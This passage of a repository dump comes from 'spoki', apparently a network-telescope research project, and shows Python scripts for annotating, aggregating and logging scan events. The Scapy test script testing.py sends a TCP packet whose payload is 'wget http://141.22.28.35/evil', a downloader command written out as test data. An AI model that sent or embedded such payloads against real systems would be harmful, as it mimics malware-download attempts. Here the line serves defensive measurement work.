├── .gitignore ├── LICENSE ├── README.md ├── evaluation ├── CHANGELOG.rst ├── Makefile ├── README.md ├── dev-requirements.in ├── setup.py └── src │ └── cse │ ├── __init__.py │ ├── analysis │ ├── addasn.py │ ├── addgeo.py │ ├── aggregatecontacttypes.py │ ├── contacttypes.py │ ├── database │ │ ├── gnchecker.py │ │ └── greynoise.py │ └── topports.py │ ├── logs │ ├── __init__.py │ ├── confirmationmatcher.py │ ├── eventmatcher.py │ ├── phasematcher.py │ ├── reader.py │ └── writer.py │ ├── malware │ ├── clean.py │ ├── database │ │ ├── databasetocsv.py │ │ ├── virustotal.py │ │ └── vtchecker.py │ ├── download.py │ ├── filter.py │ ├── payloadcleaner.py │ └── resettopics.py │ ├── payloads │ └── analyzer.py │ ├── tools │ ├── assemble.py │ └── testing.py │ └── types │ ├── __init__.py │ ├── analyzer.py │ ├── event.py │ ├── packet.py │ ├── probe_confirmation.py │ ├── probe_request.py │ └── protocols │ ├── __init__.py │ ├── icmp.py │ ├── tcp.py │ └── udp.py ├── logs └── example │ ├── 2021-10-13.21:00:00.test.spoki.tcp.raw.1634158800.csv │ ├── 2021-10-13.21:00:00.test.spoki.tcp.scamper.1634158800.csv │ ├── 2021-10-13.22:00:00.test.spoki.tcp.raw.1634162400.csv │ └── 2021-10-13.22:00:00.test.spoki.tcp.scamper.1634162400.csv ├── scripts ├── disable-rst.sh └── enable-rst.sh └── spoki ├── CMakeLists.txt ├── README.md ├── caf-application.conf ├── cmake ├── FindSCAMPER.cmake ├── FindTRACE.cmake ├── FindWANDIO.cmake ├── FindZeroMQ.cmake ├── Findczmq.cmake ├── SpokiConfig.cmake.in ├── build_config.hpp.in ├── check-compiler-features.cpp ├── check-consistency.cmake ├── cmake_uninstall.cmake.in ├── dummy.cpp ├── get_compiler_version.cpp └── spoki-generate-enum-strings.cpp ├── configure ├── libspoki ├── CMakeLists.txt ├── spoki │ ├── all.hpp │ ├── analysis │ │ ├── classification.hpp │ │ ├── classify.hpp │ │ ├── consistency.hpp │ │ └── regression.hpp │ ├── atoms.hpp │ ├── buffer.hpp │ ├── cache │ │ ├── entry.hpp │ │ ├── rotating_store.hpp │ │ ├── shard.hpp │ │ ├── store.hpp │ │ └── timeout.hpp │ ├── collector.hpp │ ├── config.hpp │ ├── consistent_hash_map.hpp │ ├── crc.hpp │ ├── defaults.hpp │ ├── fwd.hpp │ ├── hashing.hpp │ ├── logger.hpp │ ├── net │ │ ├── endpoint.hpp │ │ ├── five_tuple.hpp │ │ ├── icmp.hpp │ │ ├── icmp_type.hpp │ │ ├── protocol.hpp │ │ ├── socket_guard.hpp │ │ ├── tcp.hpp │ │ ├── tcp_opt.hpp │ │ ├── udp.hpp │ │ ├── udp_hdr.hpp │ │ └── unix.hpp │ ├── operation.hpp │ ├── packet.hpp │ ├── probe │ │ ├── method.hpp │ │ ├── payloads.hpp │ │ ├── request.hpp │ │ └── udp_prober.hpp │ ├── scamper │ │ ├── async_decoder.hpp │ │ ├── broker.hpp │ │ ├── driver.hpp │ │ ├── ec.hpp │ │ ├── manager.hpp │ │ ├── ping.hpp │ │ └── reply.hpp │ ├── target_key.hpp │ ├── task.hpp │ ├── time.hpp │ ├── trace │ │ ├── instance.hpp │ │ ├── processing.hpp │ │ ├── reader.hpp │ │ ├── reporting.hpp │ │ └── state.hpp │ └── unique_c_ptr.hpp ├── src │ ├── analysis │ │ ├── classification_strings.cpp │ │ ├── classify.cpp │ │ ├── consistency.cpp │ │ └── regression.cpp │ ├── buffer.cpp │ ├── cache │ │ ├── entry.cpp │ │ ├── rotating_store.cpp │ │ ├── shard.cpp │ │ ├── store.cpp │ │ └── timeout.cpp │ ├── collector.cpp │ ├── crc.cpp │ ├── defaults.cpp │ ├── hashing.cpp │ ├── net │ │ ├── five_tuple.cpp │ │ ├── icmp.cpp │ │ ├── icmp_type_strings.cpp │ │ ├── protocol_strings.cpp │ │ ├── socket_guard.cpp │ │ ├── tcp.cpp │ │ ├── tcp_opt.cpp │ │ ├── tcp_opt_strings.cpp │ │ ├── udp.cpp │ │ ├── udp_hdr.cpp │ │ └── unix.cpp │ ├── packet.cpp │ ├── probe │ │ ├── method.cpp │ │ ├── method_strings.cpp │ │ ├── payloads.cpp │ │ ├── request.cpp │ │ └── udp_prober.cpp │ ├── scamper │ │ ├── async_decoder.cpp │ │ ├── broker.cpp │ │ ├── driver.cpp │ │ ├── ec_strings.cpp │ │ ├── manager.cpp │ │ ├── ping.cpp │ │ └── reply.cpp │ ├── task.cpp │ ├── time.cpp │ └── trace │ │ ├── instance.cpp │ │ ├── processing.cpp │ │ ├── reader.cpp │ │ ├── reporting.cpp │ │ └── state.cpp └── test │ ├── analysis │ ├── classify.cpp │ ├── consistency.cpp │ └── regression.cpp │ ├── cache │ ├── rotating_store.cpp │ └── store.cpp │ ├── collector.cpp │ ├── consistent_hash_map.cpp │ ├── core-test.cpp │ ├── core-test.hpp │ ├── probe │ └── payloads.cpp │ └── test.hpp ├── patches ├── limbo │ ├── shard.diff │ └── state.diff ├── patch-ping-tcp-win.txt ├── patch-pingtimes.txt ├── patch-ppsmax.txt ├── patch-tcprst.txt ├── patch-tcpsynack.txt └── writebuf-scamper.patch ├── setup.sh └── tools ├── CMakeLists.txt ├── README.md ├── hdr ├── batch_reader.hpp ├── is_ip_address.hpp ├── perf │ ├── counting.hpp │ └── packet_provider.hpp └── udp_processor.hpp └── src ├── batch_reader.cpp ├── filter.cpp ├── is_ip_address.cpp ├── measure_driver.cpp ├── measure_io.cpp ├── measure_stores.cpp ├── measure_stringify.cpp ├── measure_unix.cpp ├── perf ├── counting.cpp ├── packet_provider.cpp ├── spoki-core.cpp ├── spoki-ingest.cpp ├── spoki-io.cpp └── spoki-scamper.cpp ├── spoki.cpp ├── udp_processor.cpp ├── udprober.cpp └── udproberd.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Internet Technologies Research Group 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /evaluation/CHANGELOG.rst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/inetrg/spoki/85c916a3838c9e13b4cf6aa2eef2074c6ecf88a1/evaluation/CHANGELOG.rst -------------------------------------------------------------------------------- /evaluation/Makefile: -------------------------------------------------------------------------------- 1 | update-deps: 2 | pip-compile --upgrade --generate-hashes 3 | pip-compile --upgrade --generate-hashes --output-file dev-requirements.txt dev-requirements.in 4 | pip install --upgrade -r requirements.txt -r dev-requirements.txt 5 | 6 | install: 7 | pip install --editable . 8 | 9 | init: 10 | pip install pip-tools 11 | rm -rf .tox 12 | 13 | update: init update-deps install 14 | 15 | .PHONY: update-deps init update install 16 | -------------------------------------------------------------------------------- /evaluation/dev-requirements.in: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /evaluation/src/cse/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/inetrg/spoki/85c916a3838c9e13b4cf6aa2eef2074c6ecf88a1/evaluation/src/cse/__init__.py -------------------------------------------------------------------------------- /evaluation/src/cse/analysis/addasn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Add ASN meta data to a gzipped CSV file with an IPv4 column. Based on pyasn module. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import argparse 13 | import os 14 | import pyasn 15 | 16 | import pandas as pd 17 | 18 | from ipaddress import ip_network 19 | from pathlib import Path 20 | 21 | 22 | # -- our purpose --------------------------------------------------------------- 23 | 24 | def lookup_asn(db, ip): 25 | try: 26 | # Should return the origin AS, and the BGP prefix it matches 27 | asn, _ = db.lookup(ip) 28 | # if asn is None: 29 | # print(' > could not find ASN for {}'.format(ip)) 30 | return None if asn is None else int(asn) 31 | except: 32 | # print(f'WARN: failed to lookup asn for {ip}') 33 | return None 34 | 35 | 36 | def lookup_prefix(db, ip): 37 | try: 38 | _, prefix = db.lookup(ip) 39 | return None if prefix is None else str(ip_network(prefix)) 40 | # return str(ip_network(prefix)) 41 | except: 42 | # print(f'WARN: failed to lookup prefix for {ip}') 43 | return None 44 | 45 | 46 | def main(): 47 | parser = argparse.ArgumentParser(description='Add ASN meta data to a CSV file.') 48 | parser.add_argument('-i', '--input', required=True, type=str, 49 | help='file to annotate') 50 | parser.add_argument('-d', '--date', type=str, default='2020-05-15', 51 | help='date of the database file (d: 2020-05-15)') 52 | parser.add_argument('-a', '--asndb-directory', type=str, default='ipasn', 53 | help='directory to with ipasn database files (d: ipasn)') 54 | parser.add_argument('-f', '--field', type=str, action='append', 55 | help='names of the columns to process') 56 | 57 | args = parser.parse_args() 58 | 59 | fn = args.input 60 | path = Path(fn) 61 | if not path.is_file(): 62 | print('ERR: input is not a file') 63 | return 64 | 65 | if not Path(args.asndb_directory).is_dir(): 66 | print('ERR: asndb directory is not a directory') 67 | return 68 | 69 | df = pd.read_csv(fn, sep="|") 70 | # print(df) 71 | 72 | print(f'-- loading ipasn database for {args.date}') 73 | asnfile = os.path.join(args.asndb_directory, f'ipasn_{args.date}.gz') 74 | asndb = pyasn.pyasn(asnfile) 75 | 76 | for field in args.field: 77 | print(f"field: {field}") 78 | pre_target = f'{field}.prefix' 79 | asn_target = f'{field}.asn' 80 | 81 | df[pre_target] = df[field].apply(lambda ip: lookup_prefix(asndb, ip)) 82 | df[asn_target] = df[field].apply(lambda ip: lookup_asn(asndb, ip)) 83 | 84 | total = len(df.index) 85 | pre_missing = df[pre_target].isnull().sum() 86 | asn_missing = df[asn_target].isnull().sum() 87 | 88 | print(f'total = {total:>7}') 89 | print( 90 | f'missing prefix = {pre_missing:>7} ({round(pre_missing / total * 100, 2)}%)') 91 | print( 92 | f'missing ASN = {asn_missing:>7} ({round(asn_missing / total * 100, 2)}%)') 93 | 94 | fn = fn.replace("csv.gz", "meta.csv.gz") 95 | print(f'writing "{fn}"') 96 | df.to_csv(fn, index=False, sep="|") 97 | 98 | 99 | if __name__ == '__main__': 100 | main() 101 | -------------------------------------------------------------------------------- /evaluation/src/cse/analysis/addgeo.py: -------------------------------------------------------------------------------- 1 | 2 | #!/usr/bin/env python 3 | # -*- coding: utf-8 -*- 4 | 5 | """ 6 | Add meta data to zipped CSV file. 7 | """ 8 | 9 | __maintainer__ = "Raphael Hiesgen" 10 | __email__ = "raphael.hiesgen@haw-hamburg.de" 11 | __copyright__ = "Copyright 2018-2021" 12 | 13 | import argparse 14 | import pyipmeta 15 | 16 | import pandas as pd 17 | 18 | from pathlib import Path 19 | 20 | 21 | # addr.prefix|addr.asn|addr.country_code|addr.region_code|addr.continent_code|addr.city 22 | 23 | # -- our purpose --------------------------------------------------------------- 24 | 25 | # Cache ip meta data locally to ease the lookup of different fields 26 | cache = {} 27 | 28 | 29 | def add_to_cache(ipm, ip): 30 | global cache 31 | try: 32 | res = ipm.lookup(ip) 33 | if len(res) > 0: 34 | cache[ip] = res[0] 35 | return True 36 | except: 37 | pass 38 | print(f'WARN: failed to lookup meta data for {ip}') 39 | return False 40 | 41 | 42 | def make_lookup(ipm, key): 43 | def lookup(ip): 44 | if ip in cache: 45 | return cache[ip][key] 46 | if add_to_cache(ipm, ip): 47 | return cache[ip][key] 48 | return None 49 | return lookup 50 | 51 | 52 | def main(): 53 | parser = argparse.ArgumentParser(description='Annotate CSV with geo data.') 54 | parser.add_argument('-i', '--input', required=True, type=str, 55 | help='file to annotate') 56 | parser.add_argument('-d', '--date', type=str, default='2021-02-15', 57 | help='date of the database file (d: 2021-02-15)') 58 | parser.add_argument('-f', '--field', type=str, action='append', 59 | help='names of the columns to process') 60 | parser.add_argument('-p', '--provider', type=str, default='netacq-edge', 61 | help='choose provider (d: netacq-edge)') 62 | 63 | args = parser.parse_args() 64 | 65 | fn = args.input 66 | path = Path(fn) 67 | if not path.is_file(): 68 | print('ERR: input is not a file') 69 | return 70 | 71 | if len(args.field) < 1: 72 | print("EFF: need at least one field to process") 73 | return 74 | 75 | df = pd.read_csv(fn, sep="|") 76 | 77 | print('-- loading IP meta database for "{}"'.format(args.date)) 78 | ipm = pyipmeta.IpMeta(provider=args.provider, time=args.date) 79 | 80 | for field in args.field: 81 | country = f'{field}.country_code' 82 | region = f'{field}.region_code' 83 | continent = f'{field}.continent_code' 84 | city = f'{field}.city' 85 | 86 | lu_country = make_lookup(ipm, 'country_code') 87 | lu_region = make_lookup(ipm, 'region_code') 88 | lu_continent = make_lookup(ipm, 'continent_code') 89 | lu_city = make_lookup(ipm, 'city') 90 | 91 | df[country] = df[field].apply(lambda ip: lu_country(ip)) 92 | df[region] = df[field].apply(lambda ip: lu_region(ip)) 93 | df[continent] = df[field].apply(lambda ip: lu_continent(ip)) 94 | df[city] = df[field].apply(lambda ip: lu_city(ip)) 95 | 96 | total = len(df.index) 97 | print(f'total = {total:>7}') 98 | 99 | def list_missing(key): 100 | missing = df[key].isnull().sum() 101 | print( 102 | f'missing {key:20} = {missing:>7} ({round(missing / total * 100, 2)}%)') 103 | 104 | list_missing(country) 105 | list_missing(region) 106 | list_missing(continent) 107 | list_missing(city) 108 | 109 | fn = fn.replace('csv.gz', 'geo.csv.gz') 110 | print(f'writing "{fn}"') 111 | df.to_csv(fn, index=False, sep="|") 112 | 113 | 114 | if __name__ == '__main__': 115 | main() 116 | -------------------------------------------------------------------------------- /evaluation/src/cse/analysis/aggregatecontacttypes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Read one or more contacttype files and evaluate their combined data. Print numbers for each contacttype. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import click 13 | import gzip 14 | import json 15 | import mmap 16 | import os 17 | import sys 18 | 19 | import pandas as pd 20 | 21 | csvheader = [ 22 | "all", 23 | "without-ack", 24 | "without-payload", 25 | "with-payload", 26 | "ascii", 27 | "hex", 28 | "downloader", 29 | "matched", 30 | ] 31 | 32 | 33 | def bufcount(filename): 34 | f = gzip.open(filename, "rt") 35 | lines = 0 36 | buf_size = 1024 * 1024 37 | read_f = f.read # loop optimization 38 | buf = read_f(buf_size) 39 | while buf: 40 | lines += buf.count("\n") 41 | buf = read_f(buf_size) 42 | return lines 43 | 44 | 45 | def get_num_lines(file_path): 46 | fp = gzip.open(file_path, "rt+") 47 | buf = mmap.mmap(fp.fileno(), 0) 48 | lines = 0 49 | while buf.readline(): 50 | lines += 1 51 | return lines 52 | 53 | 54 | def get_data(ev): 55 | tr = ev["trigger"] 56 | if "tcp" in tr: 57 | tcp = tr["tcp"] 58 | syn = tcp["syn"] 59 | ack = tcp["ack"] 60 | # fin = tcp["fin"] 61 | # rst = tcp["rst"] 62 | if ack and not syn: 63 | # IP data. 64 | saddr = tr["saddr"] 65 | daddr = tr["daddr"] 66 | # TCP data. 67 | sport = int(tcp["sport"]) 68 | dport = int(tcp["dport"]) 69 | snum = int(tcp["snum"]) 70 | payload = tcp["payload"] 71 | if payload is not None and payload != "": 72 | return (saddr, daddr, sport, dport, snum, payload) 73 | return None 74 | 75 | 76 | @click.command() 77 | @click.argument( 78 | "files", 79 | nargs=-1, 80 | type=str, 81 | ) 82 | def main(files): 83 | df = pd.concat([pd.read_csv(f, sep="|") for f in files], ignore_index=True) 84 | print(f"read {len(df)} lines of data") 85 | print(df) 86 | 87 | all = df["all"].sum() 88 | woack = df["without-ack"].sum() 89 | wopl = df["without-payload"].sum() 90 | wpl = df["with-payload"].sum() 91 | ascii = df["ascii"].sum() 92 | hex = df["hex"].sum() 93 | dl = df["downloader"].sum() 94 | matched = df["matched"].sum() 95 | 96 | check_payload_numbers = ascii + hex + dl 97 | print( 98 | f"payloads: {wpl} == sum: {check_payload_numbers} --> {check_payload_numbers == wpl}" 99 | ) 100 | 101 | check_two_phase_events = woack + wopl + wpl 102 | print( 103 | f"two-phase events: {all} == sum: {check_two_phase_events} --> {check_two_phase_events == all}" 104 | ) 105 | 106 | def pct(x): 107 | return round((x * 100 / all), 2) 108 | 109 | print(f"two-phase events = {all:>10}, {pct(all):>6.2f}%") 110 | print(f" without ack = {woack:>10}, {pct(woack):>6.2f}%") 111 | print(f" without payload = {wopl:>10}, {pct(wopl):>6.2f}%") 112 | print(f" with payload = {wpl:>10}, {pct(wpl):>6.2f}%") 113 | print(f" ascii = {ascii:>10}, {pct(ascii):>6.2f}%") 114 | print(f" hex = {hex:>10}, {pct(hex):>6.2f}%") 115 | print(f" downloader = {dl:>10}, {pct(dl):>6.2f}%") 116 | print(f"matched = {matched:>10}, {pct(matched):>6.2f}%") 117 | 118 | 119 | if __name__ == "__main__": 120 | main() 121 | -------------------------------------------------------------------------------- /evaluation/src/cse/logs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/inetrg/spoki/85c916a3838c9e13b4cf6aa2eef2074c6ecf88a1/evaluation/src/cse/logs/__init__.py -------------------------------------------------------------------------------- /evaluation/src/cse/logs/writer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | These classes write JSON data into a sink defined by their type. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import gzip 13 | import json 14 | 15 | from kafka import KafkaProducer 16 | from pathlib import Path 17 | 18 | 19 | class KafkaWriter: 20 | default_server = ["localhost:9092"] 21 | default_batch_size = 1000 22 | 23 | def __init__(self, topic, bootstrap_servers=None, batch_size=None) -> None: 24 | if bootstrap_servers is None: 25 | self.server = self.default_server 26 | else: 27 | self.server = bootstrap_servers 28 | 29 | if batch_size is None: 30 | self.batch_size = self.default_batch_size 31 | else: 32 | self.batch_size = batch_size 33 | 34 | self.producer = KafkaProducer( 35 | bootstrap_servers=self.server, 36 | batch_size=self.batch_size, 37 | value_serializer=lambda x: json.dumps(x).encode("utf-8"), 38 | ) 39 | self.topic = topic 40 | 41 | def write_elems(self, elements, _): 42 | for elem in elements: 43 | self.producer.send(self.topic, elem) 44 | 45 | def write_elem(self, elem, _): 46 | self.producer.send(self.topic, elem) 47 | 48 | 49 | class LogWriter: 50 | def __init__(self, datasource, path): 51 | self.datasource = datasource 52 | self.path = path 53 | self.openfiles = {} 54 | self.openfiletimestamps = [] 55 | 56 | def __cleanup(self): 57 | if len(self.openfiletimestamps) > 2: 58 | print("[LW] cleaning up") 59 | for k, v in self.openfiles.items(): 60 | print(f"[LW] {k} -> {v}") 61 | self.openfiletimestamps.sort() 62 | toremove = self.openfiletimestamps[0] 63 | print(f"[LW] closing'{toremove}'") 64 | fh = self.openfiles[toremove] 65 | fh.close() 66 | del self.openfiles[toremove] 67 | del self.openfiletimestamps[0] 68 | else: 69 | print("[LW] too few files to clean up") 70 | 71 | def __get_file(self, filets): 72 | if filets in self.openfiles: 73 | fh = self.openfiles[filets] 74 | return fh 75 | else: 76 | fn = f"{self.datasource}-events-{filets}.json.gz" 77 | if Path(fn).is_file(): 78 | print(f"[LW] WARN: file '{fn}' already existed!") 79 | # err_msg = f"[LW] log file already exists: {fn}" 80 | # assert not Path(fn).is_file(), err_msg 81 | fh = gzip.open(fn, "at", newline="") 82 | self.openfiletimestamps.append(filets) 83 | self.openfiles[filets] = fh 84 | self.__cleanup() 85 | return fh 86 | 87 | def write_elems(self, elements, filets): 88 | fh = self.__get_file(filets) 89 | # json.dump(elements, fh) 90 | for elem in elements: 91 | fh.write(json.dumps(elem) + '\n') 92 | 93 | def write_elem(self, elem, filets): 94 | fh = self.__get_file(filets) 95 | # json.dump(elem, fh) 96 | fh.write(json.dumps(elem) + '\n') 97 | -------------------------------------------------------------------------------- /evaluation/src/cse/malware/database/databasetocsv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Convert json.gz database to CSV, written to stdout. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import argparse 13 | import gzip 14 | import json 15 | import os 16 | import magic 17 | 18 | from pathlib import Path 19 | 20 | 21 | def get_filetype(hash): 22 | path = os.path.join("malware", hash, "malware.bin") 23 | if Path(path).is_file(): 24 | return magic.from_file(path) 25 | else: 26 | print("file '{path}' does not exist") 27 | return "" 28 | 29 | 30 | def main(): 31 | parser = argparse.ArgumentParser(description="Convert JSON VT database to CSV.") 32 | parser.add_argument("input", type=str, default="database.json.gz") 33 | parser.add_argument("--require-vt", action="store_true") 34 | parser.add_argument("--exclude-vt", action="store_true") 35 | parser.add_argument("--file-type", action="store_true") 36 | 37 | args = parser.parse_args() 38 | 39 | if args.require_vt and args.exclude_vt: 40 | print(f"exclude and require vt are exclusive") 41 | return 42 | 43 | header = ["hash", "spoki.first", "vt.fist"] 44 | if args.file_type: 45 | header.append("file type") 46 | 47 | with gzip.open(args.input, "rt") as fh: 48 | objstr = fh.read() 49 | obj = json.loads(objstr) 50 | print("|".join(header)) 51 | for hash, data in obj.items(): 52 | row = [str(hash)] 53 | first = data["first"] 54 | row.append(str(first["spoki"])) 55 | 56 | # optional virustotal entry 57 | got_vt_entry = False 58 | if "vt" in first: 59 | got_vt_entry = True 60 | row.append(str(first["vt"])) 61 | else: 62 | row.append("") 63 | 64 | # file type 65 | if args.file_type: 66 | row.append(get_filetype(hash)) 67 | 68 | # potentally print it 69 | if args.exclude_vt: 70 | if got_vt_entry: 71 | continue 72 | else: 73 | print("|".join(row)) 74 | elif args.require_vt: 75 | if got_vt_entry: 76 | print("|".join(row)) 77 | else: 78 | continue 79 | else: 80 | print("|".join(row)) 81 | 82 | 83 | if __name__ == "__main__": 84 | main() -------------------------------------------------------------------------------- /evaluation/src/cse/malware/resettopics.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Reset state of the local Kafka instanct. 6 | 7 | Example: ./mwkr [-p PORT] 8 | """ 9 | 10 | __maintainer__ = "Raphael Hiesgen" 11 | __email__ = "raphael.hiesgen@haw-hamburg.de" 12 | __copyright__ = "Copyright 2018-2021" 13 | 14 | import click 15 | 16 | from kafka import KafkaAdminClient, KafkaConsumer 17 | from kafka.errors import UnknownTopicOrPartitionError 18 | 19 | 20 | def delete_topics(port, topics): 21 | print("deleteing topics:") 22 | for topic in topics: 23 | print(f"> {topic}") 24 | adm = KafkaAdminClient( 25 | bootstrap_servers=[f"localhost:{port}"], 26 | ) 27 | adm.delete_topics(topics) 28 | 29 | 30 | def list_topics(port): 31 | consumer = KafkaConsumer( 32 | group_id="to.list.topics", bootstrap_servers=[f"localhost:{port}"] 33 | ) 34 | print("available topics:") 35 | topics = consumer.topics() 36 | if len(topics) == 0: 37 | print("> no topics available") 38 | else: 39 | print(topics) 40 | return topics 41 | 42 | 43 | @click.command() 44 | @click.option( 45 | "-d", 46 | "--datasource", 47 | "datasources", 48 | type=str, 49 | default=None, 50 | required=True, 51 | multiple=True, 52 | help="match phases for this datasource", 53 | ) 54 | @click.option( 55 | "-g", 56 | "--generic", 57 | is_flag=True, 58 | default=False, 59 | ) 60 | @click.option( 61 | "-k", 62 | "--kafka-port", 63 | "kafka_port", 64 | type=int, 65 | default=9092, 66 | help="port of the local kafka server (default: 9092)", 67 | ) 68 | def main(datasources, generic, kafka_port): 69 | 70 | topics = [] 71 | for ds in datasources: 72 | topics.append(f"cse2.malware.events.{ds}") 73 | topics.append(f"cse2.malware.filtered.{ds}") 74 | topics.append(f"cse2.malware.cleaned.{ds}") 75 | if generic: 76 | topics.append("cse2.malware.events") 77 | topics.append("cse2.malware.filtered") 78 | topics.append("cse2.malware.cleaned") 79 | 80 | topics_to_delete = [] 81 | 82 | available_topics = list_topics(kafka_port) 83 | try: 84 | for topic in topics: 85 | if topic in available_topics: 86 | topics_to_delete.append(topic) 87 | else: 88 | print(f"can't delete topic '{topic}' because it doesn't exist") 89 | if len(topics_to_delete) > 0: 90 | delete_topics(kafka_port, topics_to_delete) 91 | else: 92 | print("nothing to delete") 93 | except UnknownTopicOrPartitionError as e: 94 | print(f"Unkown topic or partion error: {e}") 95 | 96 | 97 | if __name__ == "__main__": 98 | main() 99 | -------------------------------------------------------------------------------- /evaluation/src/cse/tools/testing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | testing.py: Test interaction with Spoki. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import click 13 | import logging 14 | 15 | from enum import Enum 16 | 17 | # Scapy 18 | from scapy.all import IP, TCP 19 | from scapy.all import sr1, send, sniff 20 | 21 | 22 | # -- config ------------------------------------------------------------------- 23 | 24 | # logging.getLogger("scapy").setLevel(logging.CRITICAL) 25 | # logging.getLogger("scapy").setLevel(logging.ERROR) 26 | 27 | @click.command() 28 | @click.argument( 29 | "host", 30 | type=str, 31 | ) 32 | # -- options ----------- 33 | @click.option( 34 | "-p", 35 | "--port", 36 | "port", 37 | default=42, 38 | help="contact Spoki on the given port", 39 | type=int, 40 | ) 41 | def main(host, port): 42 | filter = f"ip src host {host}" 43 | 44 | # Irregular Handshake, no ACK. 45 | print() 46 | print(f"# Starting irregular handshake to '{host}:{port}'") 47 | irregular_syn = IP(dst=host, ttl=231, id=61602) / TCP(sport=22734, dport=port, flags="S", seq=1298127, options=b"") 48 | print(f"sending irregular SYN: {irregular_syn.summary()}") 49 | resp = sr1(irregular_syn, filter=filter) 50 | print(resp[0].summary()) 51 | 52 | 53 | print() 54 | print(f"# Received SYN ACK, starting regular handshake") 55 | # Regular Handshake, with payload in ACK. 56 | opts = [('MSS', 1460), ('NOP', None), ('WScale', 6), ('NOP', None), ('NOP', None), ('Timestamp', (1220406720, 0)), ('SAckOK', b''), ('EOL', None)] 57 | regular_syn = IP(dst=host, ttl=64, id=20202) / TCP(sport=41725, dport=port, flags="S", seq=1298130, options=opts) 58 | resp = sr1(regular_syn, filter=filter) 59 | print(resp[0].summary()) 60 | 61 | pkt = resp[0] 62 | acknum = pkt[TCP].seq 63 | 64 | print() 65 | print(f"# Delivering payload with ACK, starting regular handshake") 66 | ack = IP(dst=host, ttl=64, id=11727) / TCP(sport=41725, dport=port, flags="A", seq=1298131, ack=acknum, options=b"")/"wget http://141.22.28.35/evil" 67 | resp = sr1(ack, filter=filter) 68 | print(resp[0].summary()) 69 | 70 | 71 | print() 72 | print(f"DONE") 73 | 74 | -------------------------------------------------------------------------------- /evaluation/src/cse/types/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /evaluation/src/cse/types/analyzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Analyze a packet ... a tiny bit 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | from cse.types.packet import Packet 13 | 14 | 15 | class Analyzer: 16 | def __init__(self, pkt): 17 | self.pkt = pkt 18 | 19 | def is_syn(self): 20 | """ 21 | Check if the packet contains TCP and is a TCP SYN packet. 22 | """ 23 | pl = self.pkt.payload 24 | if self.pkt.proto == "tcp" and "syn" in pl.flags and "ack" not in pl.flags: 25 | return True 26 | return False 27 | 28 | def is_ack(self): 29 | """ 30 | Check if the packet contains TCP and is a TCP ACK packet. 31 | """ 32 | pl = self.pkt.payload 33 | if self.pkt.proto == "tcp" and "ack" in pl.flags and "syn" not in pl.flags: 34 | return True 35 | return False 36 | 37 | def is_syn_ack(self): 38 | """ 